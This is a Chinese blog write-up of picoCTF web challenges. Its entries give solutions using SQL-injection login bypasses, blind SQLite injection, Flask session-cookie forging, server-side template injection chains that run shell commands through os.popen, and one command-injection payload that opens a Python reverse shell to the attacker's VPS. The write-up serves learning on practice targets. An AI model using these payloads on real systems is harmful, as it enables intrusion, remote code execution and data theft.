空了好几个月终于有时间刷题了,这里先拿picoCTF来暖下手(虽然说是给高中生的,不过还是学了一波SSTI)
P.S. 那几道SSTI的题不知道的payload为什么更新时会报错就加了空格,怕是hexo自己调用了orz。反正有空格删掉就好
Inspect Me
F12看到注释里提示了学了html和css、js,那就去这些文件里找flag
Logon
先随便尝试个用户名和密码输入,发现登陆成功但没有权限
于是用抓包登录,发现重定向到flag页面,同时设置了个admin变量在cookie
于是修改为true发送到flag页面得flag
Irish Name Repo
打开找到admin登录界面
尝试万能密码登录成功
payload: username=admin&password=1'or '1'='1
Mr. Robots
打开robots.txt即可
Client Side is Still Bad
F12找到一串js里组合就有flag
1 | function verify() { |
No Login
进去点flag就有了??? 然后弄了一下又没了???
大概这才是常规吧,登陆和登出页面都用不了,就抓包看看。
发现有个session变量,试着base64解密发现不行
搞了好久才知道是jwt加密,用于json安全的加密,去官网能直接解密【那还有啥用???
和之前题一样,在cookie加个admin=1就行
Secret Agent
点flag说我不是google,然后给出来我的user-agent。于是就试chrome发现不行,referer修改也不行。最后用谷歌爬虫 googlebot
作为user-agent才ok
Buttons
两个按钮,一个是表单一个是链接,把链接修改成表单就好
The Vault
给了源码
1 | <?php |
读一下过滤了xxx’xxxorxxx 这种字符串,就不允许万能密码。
不过这题解法挺多的,提供一种
payload:
username=a' /*&password=*/or 1=1 limit 1 or '
Artisinal Handcrafted HTTP 3
好像服务器炸了
Flaskcards
不知道有flask这个框架让我搞了好久,flask是个python的框架,于是找找SSTI漏洞
尝试在url上添加 2
并未报错
注册 2
账号并登录后也没变
最后在create card处将question和answer设为 2
查看list card时发现都成了2,说明可以注入。
于是尝试 { { config.item() } }
,成功在secretkey找到flag
fancy-alive-monitoring
进去后可以看到有源码
1 | <html> |
js部分的过滤直接无视,然后读php部分的
就要求前面的是一个ip,不过没有$结尾于是可以往后面继续加命令
payload:ip=0.0.0.0;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_vps_ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹shell后
读取找到flag
Secure Logon
先登进去看看,提示了cookie
应该是要把admin的只弄为1就行
然后读一下源码,是CBC加密,应该又是一道CBC翻转的题
1 | from flask import Flask, render_template, request, url_for, redirect, make_response, flash |
抓包拿cookie,然后写脚本
1 | # -*- coding:utf8 -*- |
这里不是很确定要改的位置在哪,于是先尝试把第一份加密的给翻转看看
在第十一个字符处得到flag
Flaskcards Skeleton Key
又是一个flask的题,提示了Secret_Key
查一下得知时用来加密session用的密钥,具体的加密方式可以看这:从HCTF两道Web题谈谈flask客户端session机制
不太会用flask这个模块于是找了大佬的脚本来用 flask-session-cookie-manager
1 | python3 session_cookie_manager.py decode -c ".eJwlj1GqAjEMAO_Sbz-atGkSL7M0TYIiKOzq1-Pd3QUPMMPMX9lyj-NWru_9E5ey3b1cSwS2yUzedJpVpFiuntO8gvtIbaKGmD2qqLYAFSTN1cdMkJlZbWgScDAZCUwZjQWNI8OwgVNmiFEd0mRlr97ZgDiqcQfDcinr2HN7vx7xPHt8xJAEOKE2ZmPva6FqX-SzYx2--FSzn9zniP030cv_FzvlQBQ.D0GgCg.VBqx4_6AB25d4XZCiBbQD5xnXLM" -s "a7a8342f9b41fcb062b13dd1167785f8" |
解密后没有admin值,但有个user_id是一个数字,猜测是用户注册的顺序,于是修改成1加密
1 | python3 session_cookie_manager.py encode -t "{'_fresh': True, '_id': 'ee23a775d39abb025ecd9dfabd01dd6f9389b22f4e08993e198259fc46af18aff0b69f517e75b581a863782b7efeb231d5ffe8b506838cf40d47b157e0b741b2', 'csrf_token': 'd6e68f11fe836a37d4cc2994c5da4206dc77ef7d', 'user_id': '1'}" -s "a7a8342f9b41fcb062b13dd1167785f8" |
提交,然后访问admin成功得到flag
Help Me Reset 2
点进去有修改密码页面以为是要二次注入,然而没发现注册页面
然后修改页面尝试了一堆用户名都不行,尝试各种注入不行
最后回到主页F12发现一段注释着网站维护者,于是尝试一下成功进入到问题界面
答案当然是不可能猜到的,抓个包看看发现和上题一样的加密,解密一下得到问题的答案
1 | python3 session_cookie_manager.py decode -c ".eJw9jlEKg0AMRK8i-d4PsdCKV-gRWpG4Rl26bkp2VYp492Yp9CcThpeZHGBXEQoJGrDsWcDAm2N0vSdoHmBRFnyRujMJq4zMg8qPbQ2Im-bUWV5zRGlgjSTdgAmhOaBIOWMURyEfVXV9qcpbfS3BKPoh73lX3wmHYsGg692hTs99TJR_GXBz8RmgPQ3sik3_qvMLPSc8FQ.D0Gy1Q.g9xPDX5IEC_3C2cGc7gvL3gzZ_U" |
当然顺序是不对的,认真分析一下然后成功修改密码登录得flag
A Simple Question
F12后可以找到源码,读源码是个没有任何过滤的查询
1 | <?php |
CANARY这个变量估计在config.php里,访问config.php没东西,于是尝试sql注入
可能是SQLite这个数据库没有database()这个函数,不过还好源码给了表名和列名,于是试试看盲注查这个列里的值
然而这个数据库里ascii()也没有,不过hex()有,然后写脚本发现总是出错。在浏览器那试了一下发现对比的hex()里要是字符,数字全会为wrong,明明本地的数据库可以直接数字对比的orz(就是要hex(‘4’),不能hex(4))。那就不能二分查了,只能一个个顺序查
上脚本
1 | # -*- coding:utf8 -*- |
写得有点渣orz
payload:-1' or (select length(answer) from answers limit 0,1)>0 or '
-1' or substr((select answer from answers limit 0,1),1,1)='4' or '
跑出就一个值41AndSixSixths,填入得flag
LambDash 3
好像炸了
Flaskcards and Freedom
本来以为不能SSTI了,但试了一下可以,不过这次 { { config.item() } }
就不能得到flag
于是继续注入
得到
(<class 'str'>, <class 'object'>)
得到
<class 'object'>
{ { ''.__class__.__mro__[-1].__subclasses__() } }
得到一大堆继承类
然后查一下能有os模块的类,然而没找到。不过除了os,我们还可以找sys模块的(因为sys中有os)。然后可以用popen()来执行命令,read()来读取结果
我找到一个位置在591的类,于是
{ { ''.__class__.__mro__[-1].__subclasses__()[591].__init__.__globals['sys']__.modules['os'].popen('ls').read() } }
得到 app flag server.py xinet_startup.sh
最后读取flag文件得flag
payload:{ { ''.__class__.__mro__[-1].__subclasses__()[591].__init__.__globals['sys']__.modules['os'].popen('cat flag').read() } }